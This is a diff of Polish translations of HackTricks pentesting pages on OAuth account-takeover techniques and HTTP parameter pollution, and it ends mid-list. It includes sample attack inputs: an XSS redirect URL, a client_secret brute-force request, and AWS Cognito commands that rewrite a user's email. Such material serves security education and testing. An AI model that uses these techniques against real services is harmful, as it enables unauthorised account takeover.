6. Ostatecznie proces kończy się, gdy https://example.com wykorzystuje Twój `access_token` do wykonania wywołania interfejsu API do mediów społecznościowych w celu uzyskania dostępu
|
||||||
|
|
||||||
## Luki <a href="#323a" id="323a"></a>
|
## Vulnerabilities <a href="#323a" id="323a"></a>
|
||||||
|
|
||||||
### Otwarte przekierowanie `redirect_uri` <a href="#cc36" id="cc36"></a>
|
### Otwarte przekierowanie\_uri <a href="#cc36" id="cc36"></a>
|
||||||
|
|
||||||
`redirect_uri` jest kluczowy dla bezpieczeństwa w implementacjach OAuth i OpenID, ponieważ określa, dokąd są wysyłane wrażliwe dane, takie jak kody autoryzacyjne, po autoryzacji. W przypadku błędnej konfiguracji, może umożliwić atakującym przekierowanie tych żądań do złośliwych serwerów, umożliwiając przejęcie konta.
|
`redirect_uri` jest kluczowy dla bezpieczeństwa w implementacjach OAuth i OpenID, ponieważ określa, gdzie po autoryzacji są wysyłane wrażliwe dane, takie jak kody autoryzacyjne. W przypadku błędnej konfiguracji, może umożliwić atakującym przekierowanie tych żądań do złośliwych serwerów, umożliwiając przejęcie konta.
|
||||||
|
|
||||||
Techniki eksploatacji różnią się w zależności od logiki walidacji serwera autoryzacyjnego. Mogą one obejmować od dokładnego dopasowania ścieżki do akceptowania dowolnego adresu URL w określonej domenie lub podkatalogu. Powszechne metody eksploatacji obejmują otwarte przekierowania, nawigację ścieżką, wykorzystywanie słabych wyrażeń regularnych oraz wstrzykiwanie HTML w celu kradzieży tokena.
|
Techniki eksploatacji różnią się w zależności od logiki walidacji serwera autoryzacyjnego. Mogą one obejmować od dokładnego dopasowania ścieżki do akceptowania dowolnego adresu URL w określonej domenie lub podkatalogu. Powszechne metody eksploatacji obejmują otwarte przekierowania, nawigację ścieżką, wykorzystywanie słabych wyrażeń regularnych oraz wstrzykiwanie HTML w celu kradzieży tokenów.
|
||||||
|
|
||||||
Oprócz `redirect_uri`, inne parametry OAuth i OpenID, takie jak `client_uri`, `policy_uri`, `tos_uri` i `initiate_login_uri`, są również podatne na ataki przekierowania. Te parametry są opcjonalne, a ich obsługa różni się w zależności od serwerów.
|
Oprócz `redirect_uri`, inne parametry OAuth i OpenID, takie jak `client_uri`, `policy_uri`, `tos_uri` i `initiate_login_uri`, są również podatne na ataki przekierowania. Te parametry są opcjonalne, a ich obsługa różni się w zależności od serwerów.
|
||||||
|
|
||||||
Dla osób celujących w serwer OpenID, punkt końcowy odkrywania (`**.well-known/openid-configuration**`) często zawiera cenne szczegóły konfiguracji, takie jak `registration_endpoint`, `request_uri_parameter_supported` i "`require_request_uri_registration`. Te szczegóły mogą pomóc w identyfikacji punktu końcowego rejestracji i innych szczegółów konfiguracji serwera.
|
Dla tych, którzy celują w serwer OpenID, punkt końcowy odkrywania (`**.well-known/openid-configuration**`) często zawiera cenne szczegóły konfiguracji, takie jak `registration_endpoint`, `request_uri_parameter_supported` i "`require_request_uri_registration`. Te szczegóły mogą pomóc zidentyfikować punkt końcowy rejestracji i inne konkretne konfiguracje serwera.
|
||||||
|
|
||||||
### XSS w implementacji przekierowania <a href="#bda5" id="bda5"></a>
|
### XSS w implementacji przekierowania <a href="#bda5" id="bda5"></a>
|
||||||
|
|
||||||
|
@ -88,32 +88,32 @@ Jak wspomniano w tym raporcie z programu bug bounty [https://blog.dixitaditya.co
|
||||||
```
|
```
|
||||||
https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>
|
https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>
|
||||||
```
|
```
|
||||||
### CSRF - Niewłaściwe przetwarzanie parametru stanu <a href="#bda5" id="bda5"></a>
|
### CSRF - Niewłaściwe obchodzenie parametru stanu <a href="#bda5" id="bda5"></a>
|
||||||
|
|
||||||
W implementacjach OAuth, nadużycie lub pominięcie parametru **`state`** może znacząco zwiększyć ryzyko ataków typu **Cross-Site Request Forgery (CSRF)**. Ta podnośność pojawia się, gdy parametr `state` jest albo **nie używany, używany jako wartość statyczna, albo nieprawidłowo zweryfikowany**, co pozwala atakującym ominąć zabezpieczenia CSRF.
|
W implementacjach OAuth, nadużycie lub pominięcie parametru **`state`** może znacząco zwiększyć ryzyko ataków typu **Cross-Site Request Forgery (CSRF)**. Ta podatność pojawia się, gdy parametr `state` jest albo **nie używany, używany jako wartość statyczna, albo nieprawidłowo zweryfikowany**, co pozwala atakującym ominąć zabezpieczenia CSRF.
|
||||||
|
|
||||||
Atakujący mogą wykorzystać to, przechwytując proces autoryzacji, aby połączyć swoje konto z kontem ofiary, co prowadzi do potencjalnego **przejęcia konta**. Jest to szczególnie krytyczne w aplikacjach, gdzie OAuth jest używany do **celów uwierzytelniania**.
|
Atakujący mogą wykorzystać to, przechwytując proces autoryzacji, aby połączyć swoje konto z kontem ofiary, co prowadzi do potencjalnego **przejęcia konta**. Jest to szczególnie krytyczne w aplikacjach, gdzie OAuth jest używany do celów **uwierzytelniania**.
|
||||||
|
|
||||||
Przykłady tej podatności w rzeczywistym świecie zostały udokumentowane w różnych **wyzwaniach CTF** i **platformach do hakowania**, podkreślając jej praktyczne implikacje. Problem ten dotyczy również integracji z usługami osób trzecich, takimi jak **Slack**, **Stripe** i **PayPal**, gdzie atakujący mogą przekierować powiadomienia lub płatności na swoje konta.
|
Przykłady tej podatności w rzeczywistym świecie zostały udokumentowane w różnych **wyzwaniach CTF** i **platformach do hakowania**, podkreślając jej praktyczne implikacje. Problem ten dotyczy również integracji z usługami osób trzecich, takimi jak **Slack**, **Stripe** i **PayPal**, gdzie atakujący mogą przekierować powiadomienia lub płatności na swoje konta.
|
||||||
|
|
||||||
Prawidłowe przetwarzanie i weryfikacja parametru **`state`** są kluczowe dla ochrony przed CSRF i zabezpieczenia przepływu OAuth.
|
Prawidłowe obchodzenie i weryfikacja parametru **`state`** są kluczowe dla ochrony przed CSRF i zabezpieczenia przepływu OAuth.
|
||||||
|
|
||||||
### Przed Przejęciem Konta <a href="#ebe4" id="ebe4"></a>
|
### Przed Przejęciem Konta <a href="#ebe4" id="ebe4"></a>
|
||||||
|
|
||||||
1. **Bez Weryfikacji Email podczas Tworzenia Konta**: Atakujący mogą uprzednio utworzyć konto, używając adresu e-mail ofiary. Jeśli ofiara później użyje usługi osób trzecich do logowania, aplikacja może nieumyślnie połączyć to konto osób trzecich z wcześniej utworzonym kontem atakującego, co prowadzi do nieautoryzowanego dostępu.
|
1. **Bez Weryfikacji Emaila podczas Tworzenia Konta**: Atakujący mogą uprzednio utworzyć konto, używając emaila ofiary. Jeśli ofiara później użyje usługi osób trzecich do logowania, aplikacja może nieumyślnie połączyć to konto osób trzecich z wcześniej utworzonym kontem atakującego, co prowadzi do nieautoryzowanego dostępu.
|
||||||
|
|
||||||
2. **Wykorzystanie Luźnej Weryfikacji Email w OAuth**: Atakujący mogą wykorzystać usługi OAuth, które nie weryfikują adresów e-mail, rejestrując się w ich usłudze, a następnie zmieniając adres e-mail konta na adres ofiary. Ta metoda podobnie niesie ryzyko nieautoryzowanego dostępu do konta, podobnie jak w pierwszym scenariuszu, ale poprzez inny wektor ataku.
|
2. **Wykorzystanie Luźnej Weryfikacji Emaili w OAuth**: Atakujący mogą wykorzystać usługi OAuth, które nie weryfikują emaili, rejestrując się w ich usłudze, a następnie zmieniając email konta na email ofiary. Ta metoda podobnie niesie ryzyko nieautoryzowanego dostępu do konta, podobnie jak w pierwszym scenariuszu, ale poprzez inny wektor ataku.
|
||||||
|
|
||||||
### Ujawnienie Sekretów <a href="#e177" id="e177"></a>
|
### Ujawnienie Sekretów <a href="#e177" id="e177"></a>
|
||||||
|
|
||||||
Identyfikacja i ochrona tajnych parametrów OAuth są kluczowe. Podczas gdy **`client_id`** można bezpiecznie ujawnić, ujawnienie **`client_secret`** niesie ze sobą znaczne ryzyko. Jeśli `client_secret` zostanie skompromitowany, atakujący mogą wykorzystać tożsamość i zaufanie aplikacji do **kradzieży `access_tokens`** oraz prywatnych informacji.
|
Identyfikacja i ochrona tajnych parametrów OAuth są kluczowe. Podczas gdy **`client_id`** można bezpiecznie ujawnić, ujawnienie **`client_secret`** niesie ze sobą znaczne ryzyko. Jeśli `client_secret` zostanie skompromitowany, atakujący mogą wykorzystać tożsamość i zaufanie aplikacji do **kradzieży `access_tokens`** oraz prywatnych informacji.
|
||||||
|
|
||||||
Powszechną podatnością jest sytuacja, gdy aplikacje błędnie obsługują wymianę kodu autoryzacji na `access_token` po stronie klienta, a nie po stronie serwera. Ten błąd prowadzi do ujawnienia `client_secret`, umożliwiając atakującym generowanie `access_tokens` pod przykrywką aplikacji. Ponadto, poprzez inżynierię społeczną, atakujący mogą eskalować uprawnienia, dodając dodatkowe zakresy autoryzacji OAuth, dalsze wykorzystując zaufane status aplikacji.
|
Powszechna podatność pojawia się, gdy aplikacje błędnie obsługują wymianę kodu autoryzacji na `access_token` po stronie klienta, a nie po stronie serwera. Ten błąd prowadzi do ujawnienia `client_secret`, umożliwiając atakującym generowanie `access_tokens` pod przykrywką aplikacji. Ponadto, poprzez inżynierię społeczną, atakujący mogą eskalować uprawnienia, dodając dodatkowe zakresy autoryzacji OAuth, dalsze wykorzystując zaufane status aplikacji.
|
||||||
|
|
||||||
### Bruteforce Sekretu Klienta
|
### Bruteforce Sekretu Klienta
|
||||||
|
|
||||||
Możesz spróbować **przeprowadzić atak bruteforce na client\_secret** dostawcy usług z dostawcą tożsamości, aby próbować kraść konta.\
|
Możesz spróbować **przeprowadzić atak bruteforce na client\_secret** dostawcy usług z dostawcą tożsamości, aby próbować kraść konta.\
|
||||||
Żądanie do BF może wyglądać podobnie do:
|
Żądanie do BF może wyglądać podobnie jak:
|
||||||
```
|
```
|
||||||
POST /token HTTP/1.1
|
POST /token HTTP/1.1
|
||||||
content-type: application/x-www-form-urlencoded
|
content-type: application/x-www-form-urlencoded
|
||||||
|
@ -123,19 +123,19 @@ Connection: close
|
||||||
|
|
||||||
code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce]
|
code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce]
|
||||||
```
|
```
|
||||||
### Wyciek nagłówka Referer z kodem + stanem
|
### Referer Header wycieka Kod + Stan
|
||||||
|
|
||||||
Kiedy klient ma **kod i stan**, jeśli jest **odzwierciedlony w nagłówku Referer** podczas przeglądania innej strony, to jest podatny.
|
Kiedy klient ma **kod i stan**, jeśli jest **odzwierciedlony w nagłówku Referer** podczas przeglądania innej strony, to jest podatny.
|
||||||
|
|
||||||
### Token dostępu przechowywany w historii przeglądarki
|
### Token dostępu przechowywany w historii przeglądarki
|
||||||
|
|
||||||
Przejdź do **historii przeglądarki i sprawdź, czy token dostępu jest zapisany tam**.
|
Przejdź do **historii przeglądarki i sprawdź, czy token dostępu jest tam zapisany**.
|
||||||
|
|
||||||
### Wieczny kod autoryzacyjny
|
### Wieczny kod autoryzacyjny
|
||||||
|
|
||||||
**Kod autoryzacyjny powinien istnieć tylko przez pewien czas, aby ograniczyć okno czasowe, w którym atakujący może go ukraść i użyć**.
|
Kod **autoryzacyjny powinien istnieć tylko przez pewien czas, aby ograniczyć okno czasowe, w którym atakujący może go ukraść i użyć**.
|
||||||
|
|
||||||
### Token autoryzacji/odświeżania niezwiązany z klientem
|
### Token autoryzacji/Odświeżania niezwiązany z klientem
|
||||||
|
|
||||||
Jeśli możesz uzyskać **kod autoryzacyjny i użyć go z innym klientem, to możesz przejąć inne konta**.
|
Jeśli możesz uzyskać **kod autoryzacyjny i użyć go z innym klientem, to możesz przejąć inne konta**.
|
||||||
|
|
||||||
|
@ -145,7 +145,7 @@ Jeśli możesz uzyskać **kod autoryzacyjny i użyć go z innym klientem, to mo
|
||||||
|
|
||||||
### AWS Cognito <a href="#bda5" id="bda5"></a>
|
### AWS Cognito <a href="#bda5" id="bda5"></a>
|
||||||
|
|
||||||
W tym raporcie z programu bug bounty: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) możesz zobaczyć, że **token**, który **AWS Cognito** zwraca użytkownikowi, może mieć **wystarczające uprawnienia do nadpisania danych użytkownika**. Dlatego jeśli możesz **zmienić adres e-mail użytkownika na inny adres e-mail**, możesz **przejąć** inne konta.
|
W tym raporcie z programu bug bounty: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) możesz zobaczyć, że **token**, który **AWS Cognito** zwraca użytkownikowi, może mieć **wystarczające uprawnienia do nadpisania danych użytkownika**. Dlatego jeśli możesz **zmienić adres e-mail użytkownika na inny adres e-mail**, możesz **przejąć** konta innych osób.
|
||||||
```bash
|
```bash
|
||||||
# Read info of the user
|
# Read info of the user
|
||||||
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
|
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
|
||||||
|
@ -162,60 +162,64 @@ aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ
|
||||||
]
|
]
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
Dla bardziej szczegółowych informacji na temat nadużywania AWS Cognito sprawdź:
|
||||||
|
|
||||||
|
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum" %}
|
||||||
|
|
||||||
### Nadużywanie tokenów innych aplikacji <a href="#bda5" id="bda5"></a>
|
### Nadużywanie tokenów innych aplikacji <a href="#bda5" id="bda5"></a>
|
||||||
|
|
||||||
Jak [**wspomniano w tym opracowaniu**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts), przepływy OAuth, które oczekują otrzymania **tokena** (a nie kodu), mogą być podatne, jeśli nie sprawdzają, czy token należy do aplikacji.
|
Jak [**wspomniano w tym opracowaniu**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts), przepływy OAuth, które oczekują otrzymania **tokena** (a nie kodu), mogą być podatne, jeśli nie sprawdzają, czy token należy do aplikacji.
|
||||||
|
|
||||||
To dlatego, że **atakujący** mógłby stworzyć **aplikację obsługującą OAuth i zalogować się przez Facebooka** (na przykład) w swojej własnej aplikacji. Następnie, gdy ofiara zaloguje się przez Facebooka w **aplikacji atakującego**, atakujący mógłby uzyskać **token OAuth użytkownika udzielony jego aplikacji i użyć go do zalogowania się w aplikacji OAuth ofiary, korzystając z tokenu użytkownika ofiary**.
|
Dzieje się tak, ponieważ **atakujący** mógłby stworzyć **aplikację obsługującą OAuth i zalogować się przez Facebooka** (na przykład) w swojej własnej aplikacji. Następnie, gdy ofiara zaloguje się przez Facebooka w **aplikacji atakującego**, atakujący mógłby uzyskać **token OAuth użytkownika udzielony jego aplikacji i użyć go do zalogowania się w aplikacji OAuth ofiary, korzystając z tokenu użytkownika ofiary**.
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Dlatego jeśli atakujący zdoła zdobyć dostęp użytkownika do swojej własnej aplikacji OAuth, będzie mógł przejąć konto ofiary w aplikacjach, które oczekują tokenu i nie sprawdzają, czy token został udzielony dla ich identyfikatora aplikacji.
|
Dlatego jeśli atakujący zdoła namówić użytkownika do udzielenia dostępu do swojej własnej aplikacji OAuth, będzie mógł przejąć konto ofiary w aplikacjach, które oczekują tokenu i nie sprawdzają, czy token został udzielony dla ich identyfikatora aplikacji.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### Dwa linki i ciasteczko <a href="#bda5" id="bda5"></a>
|
### Dwa linki i ciasteczko <a href="#bda5" id="bda5"></a>
|
||||||
|
|
||||||
Zgodnie z [**tym opracowaniem**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), było możliwe, aby sprawić, że ofiara otworzy stronę z **returnUrl** wskazującą na host atakującego. Te informacje byłyby **przechowywane w ciasteczku (RU)**, a w **późniejszym kroku** **prompt** zapyta **użytkownika**, czy chce dać dostęp do tego hosta atakującego.
|
Zgodnie z [**tym opracowaniem**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), było możliwe, aby sprawić, że ofiara otworzy stronę z **returnUrl** wskazującą na host atakującego. Te informacje byłyby **przechowywane w ciasteczku (RU)**, a w **późniejszym kroku** **prompt** zapyta **użytkownika**, czy chce udzielić dostępu do tego hosta atakującego.
|
||||||
|
|
||||||
Aby ominąć ten prompt, można było otworzyć kartę, aby zainicjować **przepływ OAuth**, który ustawiałby to ciasteczko RU, używając **returnUrl**, zamknąć kartę przed pokazaniem się promptu i otworzyć nową kartę bez tej wartości. Wtedy **prompt nie poinformuje o hoście atakującego**, ale ciasteczko zostanie ustawione na niego, więc **token zostanie wysłany do hosta atakującego** w przekierowaniu.
|
Aby ominąć ten prompt, można było otworzyć kartę, aby zainicjować **przepływ OAuth**, który ustawiłby to ciasteczko RU, używając **returnUrl**, zamknąć kartę przed pokazaniem się promptu i otworzyć nową kartę bez tej wartości. Następnie **prompt nie poinformuje o hoście atakującego**, ale ciasteczko zostanie ustawione na niego, więc **token zostanie wysłany do hosta atakującego** w przekierowaniu.
|
||||||
|
|
||||||
### Parametry SSRF <a href="#bda5" id="bda5"></a>
|
### Parametry SSRF <a href="#bda5" id="bda5"></a>
|
||||||
|
|
||||||
**[Sprawdź tę analizę](https://portswigger.net/research/hidden-oauth-attack-vectors) dla dalszych szczegółów tej techniki.**
|
**[Sprawdź tę analizę](https://portswigger.net/research/hidden-oauth-attack-vectors) dla dalszych szczegółów tej techniki.**
|
||||||
|
|
||||||
Dynamiczna Rejestracja Klienta w OAuth służy jako mniej oczywisty, ale krytyczny wektor podatności na bezpieczeństwo, w szczególności dla ataków **Server-Side Request Forgery (SSRF)**. Ten punkt końcowy pozwala serwerom OAuth otrzymywać szczegóły dotyczące aplikacji klienta, w tym wrażliwe adresy URL, które mogą być wykorzystane.
|
Dynamiczna rejestracja klienta w OAuth służy jako mniej oczywisty, ale krytyczny wektor podatności na bezpieczeństwo, w szczególności dla ataków typu **Server-Side Request Forgery (SSRF)**. Ten punkt końcowy pozwala serwerom OAuth otrzymywać szczegóły dotyczące aplikacji klienta, w tym wrażliwe adresy URL, które mogą być wykorzystane.
|
||||||
|
|
||||||
**Kluczowe punkty:**
|
**Kluczowe punkty:**
|
||||||
|
|
||||||
- **Dynamiczna Rejestracja Klienta** jest często mapowana na `/register` i akceptuje szczegóły takie jak `client_name`, `client_secret`, `redirect_uris` oraz adresy URL do logotypów lub zestawów kluczy JSON Web Key (JWKs) za pomocą żądań POST.
|
- Dynamiczna rejestracja klienta jest często mapowana na `/register` i akceptuje szczegóły takie jak `client_name`, `client_secret`, `redirect_uris` oraz adresy URL do logotypów lub zestawów kluczy JSON Web Key (JWKs) za pomocą żądań POST.
|
||||||
- Ta funkcja przestrzega specyfikacji określonych w **RFC7591** i **OpenID Connect Registration 1.0**, które obejmują parametry potencjalnie podatne na SSRF.
|
- Ta funkcja przestrzega specyfikacji określonych w **RFC7591** i **OpenID Connect Registration 1.0**, które obejmują parametry potencjalnie podatne na SSRF.
|
||||||
- Proces rejestracji może nieumyślnie narazić serwery na SSRF na kilka sposobów:
|
- Proces rejestracji może nieumyślnie narazić serwery na SSRF na kilka sposobów:
|
||||||
- **`logo_uri`**: Adres URL logotypu aplikacji klienta, który może być pobrany przez serwer, wywołując SSRF lub prowadząc do XSS, jeśli adres URL jest źle obsługiwany.
|
- **`logo_uri`**: Adres URL logotypu aplikacji klienta, który może zostać pobrany przez serwer, wywołując SSRF lub prowadząc do XSS, jeśli adres URL jest źle obsługiwany.
|
||||||
- **`jwks_uri`**: Adres URL do dokumentu JWK klienta, który w przypadku złośliwego opracowania może spowodować, że serwer wyśle żądania do serwera kontrolowanego przez atakującego.
|
- **`jwks_uri`**: Adres URL do dokumentu JWK klienta, który w przypadku złośliwego opracowania może sprawić, że serwer wyśle żądania do serwera kontrolowanego przez atakującego.
|
||||||
- **`sector_identifier_uri`**: Odwołuje się do tablicy JSON `redirect_uris`, którą serwer może pobrać, tworząc okazję do SSRF.
|
- **`sector_identifier_uri`**: Odwołuje się do tablicy JSON `redirect_uris`, którą serwer może pobrać, tworząc okazję do SSRF.
|
||||||
- **`request_uris`**: Wylicza dozwolone adresy URI żądań dla klienta, które mogą być wykorzystane, jeśli serwer pobiera te adresy URI na początku procesu autoryzacji.
|
- **`request_uris`**: Wylicza dozwolone adresy URI żądań dla klienta, które mogą być wykorzystane, jeśli serwer pobiera te adresy URI na początku procesu autoryzacji.
|
||||||
|
|
||||||
**Strategia Wykorzystania:**
|
**Strategia eksploatacji:**
|
||||||
|
|
||||||
- SSRF może zostać wywołane poprzez zarejestrowanie nowego klienta z złośliwymi adresami URL w parametrach takich jak `logo_uri`, `jwks_uri` lub `sector_identifier_uri`.
|
- SSRF może zostać wywołane poprzez zarejestrowanie nowego klienta z złośliwymi adresami URL w parametrach takich jak `logo_uri`, `jwks_uri` lub `sector_identifier_uri`.
|
||||||
- Podczas gdy bezpośrednie wykorzystanie poprzez `request_uris` może być ograniczone przez kontrole białej listy, dostarczenie wcześniej zarejestrowanego, kontrolowanego przez atakującego `request_uri` może ułatwić SSRF podczas fazy autoryzacji.
|
- Podczas gdy bezpośrednia eksploatacja za pomocą `request_uris` może być ograniczona przez kontrole białej listy, dostarczenie wcześniej zarejestrowanego, kontrolowanego przez atakującego `request_uri` może ułatwić SSRF podczas fazy autoryzacji.
|
||||||
|
|
||||||
## Wyścig dostawców OAuth
|
## Warunki wyścigowe dostawców OAuth
|
||||||
|
|
||||||
Jeśli platforma, którą testujesz, jest dostawcą OAuth, [**przeczytaj to, aby przetestować możliwe wyścigi**](race-condition.md).
|
Jeśli platforma, którą testujesz, jest dostawcą OAuth, [**przeczytaj to, aby przetestować możliwe warunki wyścigowe**](race-condition.md).
|
||||||
|
|
||||||
## Referencje
|
## Odnośniki
|
||||||
|
|
||||||
* [**https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1**](https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1)
|
* [**https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1**](https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1)
|
||||||
* [**https://portswigger.net/research/hidden-oauth-attack-vectors**](https://portswigger.net/research/hidden-oauth-attack-vectors)
|
* [**https://portswigger.net/research/hidden-oauth-attack-vectors**](https://portswigger.net/research/hidden-oauth-attack-vectors)
|
||||||
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Naucz się hakować AWS od zfszero do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Inne sposoby wsparcia HackTricks:
|
Inne sposoby wsparcia HackTricks:
|
||||||
|
|
||||||
|
|
|
@ -2,7 +2,7 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Inne sposoby wsparcia HackTricks:
|
Inne sposoby wsparcia HackTricks:
|
||||||
|
|
||||||
|
@ -10,18 +10,18 @@ Inne sposoby wsparcia HackTricks:
|
||||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
|
||||||
# Przegląd zanieczyszczenia parametru HTTP (HPP)
|
# Przegląd zanieczyszczenia parametru HTTP (HPP)
|
||||||
|
|
||||||
Zanieczyszczenie parametru HTTP (HPP) to technika, w której atakujący manipulują parametrami HTTP, zmieniając zachowanie aplikacji internetowej w niezamierzony sposób. Ta manipulacja polega na dodawaniu, modyfikowaniu lub duplikowaniu parametrów HTTP. Skutki tych manipulacji nie są bezpośrednio widoczne dla użytkownika, ale mogą znacząco zmienić funkcjonalność aplikacji po stronie serwera, z obserwowalnymi skutkami po stronie klienta.
|
Zanieczyszczenie parametru HTTP (HPP) to technika, w której atakujący manipulują parametrami HTTP, zmieniając zachowanie aplikacji internetowej w niezamierzone sposoby. Ta manipulacja polega na dodawaniu, modyfikowaniu lub duplikowaniu parametrów HTTP. Efekt tych manipulacji nie jest bezpośrednio widoczny dla użytkownika, ale może znacząco zmienić funkcjonalność aplikacji po stronie serwera, z obserwowalnymi skutkami po stronie klienta.
|
||||||
|
|
||||||
## Przykład zanieczyszczenia parametru HTTP (HPP)
|
## Przykład zanieczyszczenia parametru HTTP (HPP)
|
||||||
|
|
||||||
|
@ -35,7 +35,7 @@ Poprzez dodanie dodatkowego parametru `from`:
|
||||||
|
|
||||||
Transakcja może zostać błędnie obciążona na rzecz `accountC` zamiast `accountA`, co pokazuje potencjał HPP do manipulowania transakcjami lub innymi funkcjonalnościami, takimi jak resetowanie hasła, ustawienia 2FA lub żądania klucza API.
|
Transakcja może zostać błędnie obciążona na rzecz `accountC` zamiast `accountA`, co pokazuje potencjał HPP do manipulowania transakcjami lub innymi funkcjonalnościami, takimi jak resetowanie hasła, ustawienia 2FA lub żądania klucza API.
|
||||||
|
|
||||||
### **Analiza parametrów specyficzna dla technologii**
|
### **Analiza parametrów specyficznych dla technologii**
|
||||||
|
|
||||||
- Sposób analizowania i priorytetyzowania parametrów zależy od zastosowanej technologii internetowej, wpływając na sposób eksploatacji HPP.
|
- Sposób analizowania i priorytetyzowania parametrów zależy od zastosowanej technologii internetowej, wpływając na sposób eksploatacji HPP.
|
||||||
- Narzędzia takie jak [Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/) pomagają zidentyfikować te technologie i ich zachowania analizy.
|
- Narzędzia takie jak [Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/) pomagają zidentyfikować te technologie i ich zachowania analizy.
|
||||||
|
@ -46,13 +46,13 @@ Transakcja może zostać błędnie obciążona na rzecz `accountC` zamiast `acco
|
||||||
|
|
||||||
- **Kontekst:** Mechanizm logowania wymagający jednorazowego hasła (OTP) został wykorzystany.
|
- **Kontekst:** Mechanizm logowania wymagający jednorazowego hasła (OTP) został wykorzystany.
|
||||||
- **Metoda:** Poprzez przechwycenie żądania OTP za pomocą narzędzi takich jak Burp Suite, atakujący zduplikowali parametr `email` w żądaniu HTTP.
|
- **Metoda:** Poprzez przechwycenie żądania OTP za pomocą narzędzi takich jak Burp Suite, atakujący zduplikowali parametr `email` w żądaniu HTTP.
|
||||||
